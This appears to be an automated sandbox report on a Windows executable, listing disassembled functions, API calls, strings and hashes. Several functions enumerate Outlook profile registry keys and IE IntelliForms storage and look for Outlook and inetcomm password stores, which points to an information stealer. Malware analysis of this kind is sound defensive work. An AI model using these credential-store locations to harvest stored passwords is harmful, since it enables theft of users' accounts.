Instruction Fuzzy Hash: 9CE0A03260A41052E3212A3B7C0526E01915BC13BBB11033FEC10CA6E3DFBC4A1E415F

Uniqueness

Uniqueness Score: -1.00%

Function 021A0DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,021A0223,?,?), ref: 021A0E02
SetErrorMode.KERNELBASE(00000000,?,?,021A0223,?,?), ref: 021A0E07

Memory Dump Source

Source File: 0000001E.00000002.986163730.00000000021A0000.00000040.00000001.sdmp, Offset: 021A0000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: ea1042537dbf120465e8da3df7e6d3d81956ce1b990ceaef1ec7374727b40228
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: A0D0123514522C77D7002A94DC09BCD7B5C9F05B66F108011FB0DD9181C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 004575AF, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0045640D,00000001,00000364,00000008,000000FF,?,0044058B,00000002,00000000,00401041,gC6oM0tV1p), ref: 004575F0

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4d0ae18bbf79d93e48263a7fc51fe193c68be2e925431120a6134a86b91aa0ba
Instruction ID: 834c144f4e76a0143b36537babb95648dd87678d57066d8eabf3a4ac9e0c58b0
Opcode Fuzzy Hash: 4d0ae18bbf79d93e48263a7fc51fe193c68be2e925431120a6134a86b91aa0ba
Instruction Fuzzy Hash: 30F0E031118529BBDB216A73BC0575F3B499F41772B148037EC0496683EE6CDD0986ED

Uniqueness

Uniqueness Score: -1.00%

Function 00434E25, Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00434E40

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 61f5ba5c05d30305611304f49ad6eb72e951543a1afcd66fa6b76d218acbb846
Instruction ID: cdb59cd0f94429d4d66104043b97c2d866e40b7933060b8ae6305b36cffb063e
Opcode Fuzzy Hash: 61f5ba5c05d30305611304f49ad6eb72e951543a1afcd66fa6b76d218acbb846
Instruction Fuzzy Hash: 67D0C97480810DEBCF50DB90D989AC9B7BCAB00308F0004A294C1E3140EAF4ABC99B91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040C787, Relevance: 28.5, APIs: 10, Strings: 6, Instructions: 495libraryloaderCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040C78C
GetProcAddress.KERNEL32(?,?), ref: 0040C7D5
GetProcAddress.KERNEL32(?,?), ref: 0040C805
GetProcAddress.KERNEL32(?,73766B69), ref: 0040C843
GetProcAddress.KERNEL32(?,?), ref: 0040C87D
GetProcAddress.KERNEL32(?,?), ref: 0040C8B0
GetProcAddress.KERNEL32(?,?), ref: 0040C8DF
GetProcAddress.KERNEL32(?,?), ref: 0040C91F
wsprintfA.USER32 ref: 0040C983

Strings

ikvs, xrefs: 0040C814
Thgd, xrefs: 0040C8F8
a{, xrefs: 0040CD2D
x6-5:=*BX, xrefs: 0040CC64
xn, xrefs: 0040C8FF
b, xrefs: 0040CCDA

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$H_prologwsprintf
String ID: Thgd$a{$b$ikvs$x6-5:=*BX$xn
API String ID: 3606448584-2024134367
Opcode ID: 636b2310699224ffbec65b15a26dd09edd2125420264d7854a676a1d43c7f9a4
Instruction ID: c38a063a30d734d04d6b79c5d801d7ebffdbd05eb391b8ddee93e6750816d54e
Opcode Fuzzy Hash: 636b2310699224ffbec65b15a26dd09edd2125420264d7854a676a1d43c7f9a4
Instruction Fuzzy Hash: 2B22F130D04288DFDF01DFA8D9916EEBBB1EF59304F1081AEE445B7252DB741A89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00434042, Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 201stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004340FD
lstrlenW.KERNEL32(00000010), ref: 00434107
lstrlenA.KERNEL32(?), ref: 00434144
lstrlenA.KERNEL32(?), ref: 0043417B
lstrlenA.KERNEL32(?), ref: 004341BF

Part of subcall function 00434B2C: lstrlenA.KERNEL32(?,?,?,?,?,?,?,00428D4C,00000001,?,ftp://,00000006,?,Microsoft_WinInet_,00000012), ref: 00434B51
Part of subcall function 00434B2C: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,?,?,00428D4C,00000001,?,ftp://,00000006,?,Microsoft_WinInet_,00000012), ref: 00434B78

lstrlenW.KERNEL32(00000000), ref: 00434205

Part of subcall function 00434A6F: lstrlenA.KERNEL32(?,?,73B769A0,?,?), ref: 00434AA0
Part of subcall function 00434A6F: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000000,00000000,00000000,00000000,00000000,?,73B769A0,?,?), ref: 00434ABF
Part of subcall function 00434A6F: lstrcpyA.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,73B769A0,?,?), ref: 00434AE2
Part of subcall function 00434A6F: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000000,00000000,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,73B769A0), ref: 00434B0E

lstrlenA.KERNEL32(00007A52), ref: 0043423F

Strings

Rz, xrefs: 00434246
Rz, xrefs: 00434219

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$ByteCharMultiWidelstrcpy$wsprintf
String ID: Rz$Rz
API String ID: 130686893-2271896198
Opcode ID: aa6934d7c40bcdb1bcfd9b39c1f1d2c8fa493484ab28b5a0140cca9475fc338f
Instruction ID: b6e1d3bd49627384b82861552a03f690a75920c8a84af05146c7f0a023a879cc
Opcode Fuzzy Hash: aa6934d7c40bcdb1bcfd9b39c1f1d2c8fa493484ab28b5a0140cca9475fc338f
Instruction Fuzzy Hash: 888139308082C89ADF05DFB8D854AEEFFF1AF5D300F14909EF4856B252D6385685CB59

Uniqueness

Uniqueness Score: -1.00%

Function 021D4292, Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 201stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 021D434D
lstrlenW.KERNEL32(00000010), ref: 021D4357

Part of subcall function 021D4D7C: lstrlen.KERNEL32(?,?,?,?,?,?,?,021C8F9C,00000001,?,0047B284,00000006,?,0047B25C,00000012), ref: 021D4DA1
Part of subcall function 021D4D7C: lstrcpy.KERNEL32(00000000,?), ref: 021D4DC8

lstrlenW.KERNEL32(00000000), ref: 021D4455

Part of subcall function 021D4CBF: lstrlen.KERNEL32(?,?,0046C15C,?,?), ref: 021D4CF0
Part of subcall function 021D4CBF: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000000,00000000,00000000,00000000,00000000,?,0046C15C,?,?), ref: 021D4D0F
Part of subcall function 021D4CBF: lstrcpy.KERNEL32(00000000,?), ref: 021D4D32
Part of subcall function 021D4CBF: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000000,00000000,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,0046C15C), ref: 021D4D5E

Strings

Rz, xrefs: 021D4469
Rz, xrefs: 021D4496

Memory Dump Source

Source File: 0000001E.00000002.986163730.00000000021A0000.00000040.00000001.sdmp, Offset: 021A0000, based on PE: false

Yara matches

Similarity

API ID: lstrlen$ByteCharMultiWidelstrcpy$wsprintf
String ID: Rz$Rz
API String ID: 130686893-2271896198
Opcode ID: aa6934d7c40bcdb1bcfd9b39c1f1d2c8fa493484ab28b5a0140cca9475fc338f
Instruction ID: d864e322806fde54f0e0fe60454890526bf9da8422af7b561c9a375a0a52bcfe
Opcode Fuzzy Hash: aa6934d7c40bcdb1bcfd9b39c1f1d2c8fa493484ab28b5a0140cca9475fc338f
Instruction Fuzzy Hash: 848107309082C8EEDF05DFB8D4546EEBFF1AF19300F15809EE885AB262D7345685CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0043E07C, Relevance: 7.6, APIs: 5, Instructions: 52COMMON

Download Yara Rule

APIs

FindClose.KERNEL32(000000FF,?,00413D61,00000000,7FFFFFFF,?,00000000,00413A66,?,?,?,00412BD2,00413A66,00000000,00413A66,?), ref: 0043E088
FindFirstFileExW.KERNEL32(000000FF,00000001,?,00000000,00000000,00000000,?,?,?,?,00413D61,00000000,7FFFFFFF,?,00000000,00413A66), ref: 0043E0B8
GetLastError.KERNEL32(?,?,?,?,00413D61,00000000,7FFFFFFF,?,00000000,00413A66,?,?,?,00412BD2,00413A66,00000000), ref: 0043E0C5
FindFirstFileExW.KERNEL32(000000FF,00000000,?,00000000,00000000,00000000,?,?,?,?,00413D61,00000000,7FFFFFFF,?,00000000,00413A66), ref: 0043E0DF
GetLastError.KERNEL32(?,?,?,?,00413D61,00000000,7FFFFFFF,?,00000000,00413A66,?,?,?,00412BD2,00413A66,00000000), ref: 0043E0EC

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Find$ErrorFileFirstLast$Close
String ID:
API String ID: 569926201-0
Opcode ID: d5b34cdb4c872458f31f00cada39a68b4543b78154f39b56eb6973ad7fd03d4a
Instruction ID: 25badd273795c3e3d056de086acac74af5acf185015a6318ab1631a9ca9d4e3c
Opcode Fuzzy Hash: d5b34cdb4c872458f31f00cada39a68b4543b78154f39b56eb6973ad7fd03d4a
Instruction Fuzzy Hash: 48018031001269BBCB341FB6AC48C6B3F79EB89761B10452AFA64811E0DAB18861DA69

Uniqueness

Uniqueness Score: -1.00%

Function 00436478, Relevance: 6.4, APIs: 4, Instructions: 354registryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0043647D
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020119,?), ref: 0043651D
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?), ref: 0043656B
RegCloseKey.ADVAPI32(?), ref: 00436574

Part of subcall function 00412593: _Deallocate.LIBCONCRT ref: 004125A2

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseDeallocateH_prologOpenQueryValue
String ID:
API String ID: 2130659939-0
Opcode ID: 3c9008fcb3df2027b6825b13416884d71f21410ba8b69cb55643650ca4296a50
Instruction ID: 117110e85434c23fffd41b93938fbadf77b694ad2154d8e334ba6e56de8ac586
Opcode Fuzzy Hash: 3c9008fcb3df2027b6825b13416884d71f21410ba8b69cb55643650ca4296a50
Instruction Fuzzy Hash: CDD12770D05249AEEF15DFA8C8917EEBBB8EF18304F10916FD456B3282D7780A48CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0043458A, Relevance: 1.6, APIs: 1, Instructions: 94comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0046CBC0,00000000,00000001,0046CB90,?), ref: 004345AD

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 0969882d0e93c6b986ee25d8e9eaee7bbc5f9fe7064e6823c947c8b4c10747ed
Instruction ID: 506ba58f1158d9769a224c1fd8d04376c85edb0f246a5f5281812f059fc77c2b
Opcode Fuzzy Hash: 0969882d0e93c6b986ee25d8e9eaee7bbc5f9fe7064e6823c947c8b4c10747ed
Instruction Fuzzy Hash: 08315071600219AFDB14DB99DC89EDF7BB8DF89754F10009AF508DB250EA35EE00CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0043439D, Relevance: 24.1, APIs: 3, Strings: 13, Instructions: 102stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00433A05: LoadLibraryA.KERNEL32(?), ref: 00433A44
Part of subcall function 00433A05: GetProcAddress.KERNEL32(00000000,?), ref: 00433A7F
Part of subcall function 00433A05: FreeLibrary.KERNEL32(00000000), ref: 00433AB3

Part of subcall function 00433E5F: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00433E84
Part of subcall function 00433E5F: RegEnumKeyExW.ADVAPI32 ref: 00433F15
Part of subcall function 00433E5F: RegCloseKey.ADVAPI32(?), ref: 00433F22

Part of subcall function 00433F2C: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00433F53
Part of subcall function 00433F2C: RegEnumKeyExW.ADVAPI32 ref: 00433F7E
Part of subcall function 00433F2C: lstrlenW.KERNEL32(?), ref: 00433F95
Part of subcall function 00433F2C: lstrlenW.KERNEL32(?), ref: 00433FA2
Part of subcall function 00433F2C: lstrcpyW.KERNEL32 ref: 00433FC3
Part of subcall function 00433F2C: lstrcatW.KERNEL32(00000000,0047BC74), ref: 00433FCF
Part of subcall function 00433F2C: lstrcatW.KERNEL32(00000000,?), ref: 00433FDD
Part of subcall function 00433F2C: lstrcatW.KERNEL32(00000000,?), ref: 00433FE9
Part of subcall function 00433F2C: RegEnumKeyExW.ADVAPI32 ref: 00434023
Part of subcall function 00433F2C: RegCloseKey.ADVAPI32(?), ref: 00434038

Part of subcall function 0043497C: RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Internet Explorer\IntelliForms\Storage2,00000000,00000100,00000100,?,00000000), ref: 004349C4
Part of subcall function 0043497C: RegQueryValueExW.ADVAPI32(00000100,?,00000000,?,00000000,00000000,?,00000000), ref: 004349E3
Part of subcall function 0043497C: RegQueryValueExW.ADVAPI32(00000100,?,00000000,00000000,00000000,00000000,?,00000000), ref: 00434A1E
Part of subcall function 0043497C: RegCloseKey.ADVAPI32(00000100,?,00000000), ref: 00434A3F

lstrlenW.KERNEL32(00000000), ref: 004343FF
lstrcpyW.KERNEL32 ref: 00434417
lstrcpyW.KERNEL32 ref: 00434423

Part of subcall function 00433E5F: lstrlenW.KERNEL32(?), ref: 00433EAA
Part of subcall function 00433E5F: lstrcpyW.KERNEL32 ref: 00433EC7
Part of subcall function 00433E5F: lstrcatW.KERNEL32(00000000,0047BC74), ref: 00433ED3
Part of subcall function 00433E5F: lstrcatW.KERNEL32(00000000,?), ref: 00433EE1

Part of subcall function 00444AF5: _free.LIBCMT ref: 00444B08

Strings

Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook, xrefs: 0043448B
Outlook, xrefs: 004343E0
Software\Microsoft\Internet Account Manager, xrefs: 004343E5
Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook, xrefs: 0043446F
Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook, xrefs: 004344A7
Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook, xrefs: 0043447D
Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook, xrefs: 004344B5
Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings, xrefs: 00434456
Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook, xrefs: 004344C9
\Accounts, xrefs: 0043441D
Identities, xrefs: 004343D1
Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook, xrefs: 00434461
Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook, xrefs: 00434499

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcat$lstrcpylstrlen$CloseEnumOpen$LibraryQueryValue$AddressFreeLoadProc_free
String ID: Identities$Outlook$Software\Microsoft\Internet Account Manager$Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook$Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings$Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook$\Accounts
API String ID: 527226083-2708568971
Opcode ID: e711845317387e7cb6993d4e7f10fb8d1dcba794309c7f198175b8d964a03501
Instruction ID: 98580410122f46bc0d902c87152a135ecd5088a2cad56bbfd0f41e61827a5b79
Opcode Fuzzy Hash: e711845317387e7cb6993d4e7f10fb8d1dcba794309c7f198175b8d964a03501
Instruction Fuzzy Hash: F9315A71944208FEE704FBA18CC3EEE77B8DA58748BA0405EF00562182AFB95F058A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00434295, Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00433962: lstrlenW.KERNEL32(?,?,004342FF), ref: 00433986
Part of subcall function 00433962: lstrcpyW.KERNEL32 ref: 0043399D
Part of subcall function 00433962: CoTaskMemFree.OLE32(?,?,004342FF), ref: 004339A6

lstrcmpiW.KERNEL32(00000000,identification,00000000), ref: 00434317
lstrcmpiW.KERNEL32(?,identitymgr), ref: 00434325
lstrcmpiW.KERNEL32(00000000,inetcomm server passwords), ref: 00434345
lstrcmpiW.KERNEL32(00000000,outlook account manager passwords), ref: 00434351
lstrcmpiW.KERNEL32(00000000,identities), ref: 0043435D
CoTaskMemFree.OLE32(?), ref: 00434393

Strings

identities, xrefs: 00434357
identitymgr, xrefs: 0043431D
inetcomm server passwords, xrefs: 0043433F
identification, xrefs: 00434311
outlook account manager passwords, xrefs: 0043434B

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcmpi$FreeTask$lstrcpylstrlen
String ID: identification$identities$identitymgr$inetcomm server passwords$outlook account manager passwords
API String ID: 1606502731-4287852900
Opcode ID: 11251dbf3535e1d5886ed7d6d37592204cfd66824728e01002028863a5018a93
Instruction ID: 0ac2071c9c32447876bce63c5d225f7963a447b9772acc924ab0411aa981be65
Opcode Fuzzy Hash: 11251dbf3535e1d5886ed7d6d37592204cfd66824728e01002028863a5018a93
Instruction Fuzzy Hash: 83314F71A0021AEBDF119F95CD85AEF7B79EF88750F10401AFC04A3250DB78EA109AA9

Uniqueness

Uniqueness Score: -1.00%

Function 004602D2, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 200COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00460340
_free.LIBCMT ref: 0046034C
_free.LIBCMT ref: 00460475
_free.LIBCMT ref: 00460480

Strings

@aH, xrefs: 004602FD

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free
String ID: @aH
API String ID: 269201875-2335885206
Opcode ID: 0418b61bf6a4a4933a8e96c49631dc6ee54a6fb624eff7780b1ca1a8c3306214
Instruction ID: a4202ed44d2e3d64ef39492850553bb74fadb2201107e31c895516fb938d6441
Opcode Fuzzy Hash: 0418b61bf6a4a4933a8e96c49631dc6ee54a6fb624eff7780b1ca1a8c3306214
Instruction Fuzzy Hash: 8661C172904704AFDB20DF75C881BABB7E8AF44711F10456FE945AB282FB389C45CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0042A46A, Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 280COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042A46F

Part of subcall function 0040AB11: __EH_prolog.LIBCMT ref: 0040AB16

Part of subcall function 004123B5: _Deallocate.LIBCONCRT ref: 004123CA

Part of subcall function 00412593: _Deallocate.LIBCONCRT ref: 004125A2

Strings

JPV, xrefs: 0042A6E7
D^E_, xrefs: 0042A5FA
(vl, xrefs: 0042A6B3
+jHH, xrefs: 0042A5F3
M+"5 ,$!c9( =, xrefs: 0042A5CC
O) 7".&#a;*"?, xrefs: 0042A556
"\, xrefs: 0042A66F
?;#>, xrefs: 0042A6AA

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: DeallocateH_prolog
String ID: "\$(vl$+jHH$?;#>$D^E_$JPV$M+"5 ,$!c9( =$O) 7".&#a;*"?
API String ID: 3708980276-2040310613
Opcode ID: 228632175724a821c49576c80afe4849dda19936ae9360acf88109c49614c8eb
Instruction ID: a24ac063098ad5ddf8444769f80761f5302c2995f2add12281233b3d092cb00b
Opcode Fuzzy Hash: 228632175724a821c49576c80afe4849dda19936ae9360acf88109c49614c8eb
Instruction Fuzzy Hash: E7C1D330E04258DBCF14EFA5D9917EDBBB1AF18308F5440AED44A77242EF781A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00456153, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00456169

Part of subcall function 00457085: HeapFree.KERNEL32(00000000,00000000,?,0046050B,?,00000000,?,00000002,?,004607AE,?,00000007,?,?,00460BAF,?), ref: 0045709B
Part of subcall function 00457085: GetLastError.KERNEL32(?,?,0046050B,?,00000000,?,00000002,?,004607AE,?,00000007,?,?,00460BAF,?,?), ref: 004570AD

_free.LIBCMT ref: 00456175
_free.LIBCMT ref: 00456180
_free.LIBCMT ref: 0045618B
_free.LIBCMT ref: 00456196
_free.LIBCMT ref: 004561A1
_free.LIBCMT ref: 004561AC
_free.LIBCMT ref: 004561B7
_free.LIBCMT ref: 004561C2
_free.LIBCMT ref: 004561D0

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 940a167c2d47dbf190a29dd6dd91c459525b6bf0a8148b486cde6813011b8862
Instruction ID: e184478f1a63851a451d7585c29fb1c37829856d73284c17b060c0b80500ccca
Opcode Fuzzy Hash: 940a167c2d47dbf190a29dd6dd91c459525b6bf0a8148b486cde6813011b8862
Instruction Fuzzy Hash: 7321ED76904108BFCB01EFA6D851CDE7BF5BF08745F00416AF9059B162DB39DA48CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0043E1E9, Relevance: 10.7, APIs: 7, Instructions: 190COMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32(?,00000000,?,?,?), ref: 0043E28B
GetLastError.KERNEL32(?,?), ref: 0043E295
___std_fs_open_handle@16.LIBCPMT ref: 0043E2F5

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AttributesErrorFileLast___std_fs_open_handle@16
String ID:
API String ID: 617199260-0
Opcode ID: 6356832f6f060a23d92c97b635dce7b4f2ec08ad900a14734218e92f9d863122
Instruction ID: e5f5f453d7be788bba3b7c8c220b8a4ae0bb97a5009cbab3322bf97598242091
Opcode Fuzzy Hash: 6356832f6f060a23d92c97b635dce7b4f2ec08ad900a14734218e92f9d863122
Instruction Fuzzy Hash: B8617171A017059BDB18CFAAC881BAB77B4BF09310F14526AEC61DB3C1E774E911CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00442410, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00442447
___except_validate_context_record.LIBVCRUNTIME ref: 0044244F
_ValidateLocalCookies.LIBCMT ref: 004424D8
__IsNonwritableInCurrentImage.LIBCMT ref: 00442503
_ValidateLocalCookies.LIBCMT ref: 00442558

Strings

csm, xrefs: 004424ED

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: edb2a0ae9117fa20460a3bbc62617ccf9f7e4998ca2cc2a4ccd8e75194d8c3e0
Instruction ID: 2470fdcd0b6fff71fb7958cc2c3a5f8570d24dc7195f5b4fd2d1cef2c530f427
Opcode Fuzzy Hash: edb2a0ae9117fa20460a3bbc62617ccf9f7e4998ca2cc2a4ccd8e75194d8c3e0
Instruction Fuzzy Hash: 7841F970A00108ABDF10DF69C944A9EBBB5EF45318F54805BFC14AB392D7B9DA01CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00460795, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 004604E1: _free.LIBCMT ref: 00460506

_free.LIBCMT ref: 004607E3

Part of subcall function 00457085: HeapFree.KERNEL32(00000000,00000000,?,0046050B,?,00000000,?,00000002,?,004607AE,?,00000007,?,?,00460BAF,?), ref: 0045709B
Part of subcall function 00457085: GetLastError.KERNEL32(?,?,0046050B,?,00000000,?,00000002,?,004607AE,?,00000007,?,?,00460BAF,?,?), ref: 004570AD

_free.LIBCMT ref: 004607EE
_free.LIBCMT ref: 004607F9
_free.LIBCMT ref: 0046084D
_free.LIBCMT ref: 00460858
_free.LIBCMT ref: 00460863
_free.LIBCMT ref: 0046086E

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 78165faf667097333fe48672aa076c468bd8a6105aaf0e1f748cab0ebcc6b7a1
Instruction ID: 1d19d1bbc6fe88f713d8a074dd3f9866101234b1d9971e57d98a9a8129159c91
Opcode Fuzzy Hash: 78165faf667097333fe48672aa076c468bd8a6105aaf0e1f748cab0ebcc6b7a1
Instruction Fuzzy Hash: AA117F71680B14AAD630BBB2CD1BFCF77DCAF00704F40482EF799660A2EAACF5444655

Uniqueness

Uniqueness Score: -1.00%

Function 0044E090, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,A:\_Work\rc-build-v1-exe\json.hpp,?), ref: 0044E0B0
GetFileType.KERNEL32(00000000), ref: 0044E0C2
swprintf.LIBCMT ref: 0044E0E3
WriteConsoleW.KERNEL32(00000000,?,?,?,00000000), ref: 0044E120

Strings

A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 0044E0AA
Assertion failed: %Ts, file %Ts, line %d, xrefs: 0044E0D8

Memory Dump Source

Source File: 0000001E.00000002.983122508.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ConsoleFileHandleTypeWriteswprintf
String ID: A:\_Work\rc-build-v1-exe\json.hpp$Assertion failed: %Ts, file %Ts, line %d
API String ID: 2943507729-3717751166
Opcode ID: c4c7844bac3ff80fd8fe6595112904c52887764795529367d0db0e344b5f2a16
Instruction ID: 1174ddf33052cf9365f3a9baea7bab53b6874899c428787a55929f80d73ad72e
Opcode Fuzzy Hash: c4c7844bac3ff80fd8fe6595112904c52887764795529367d0db0e344b5f2a16
Instruction Fuzzy Hash: 5F1108719001156BEB209B26DC849EFB3ACFF45314F50455BFD66A3181EA34AD458B6C

Uniqueness

Uniqueness Score: -1.00%

Function 00456636, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00444819,00000000,00000000), ref: 0045667E
__fassign.LIBCMT ref: 0045685D
__fassign.LIBCMT ref: 0045687A
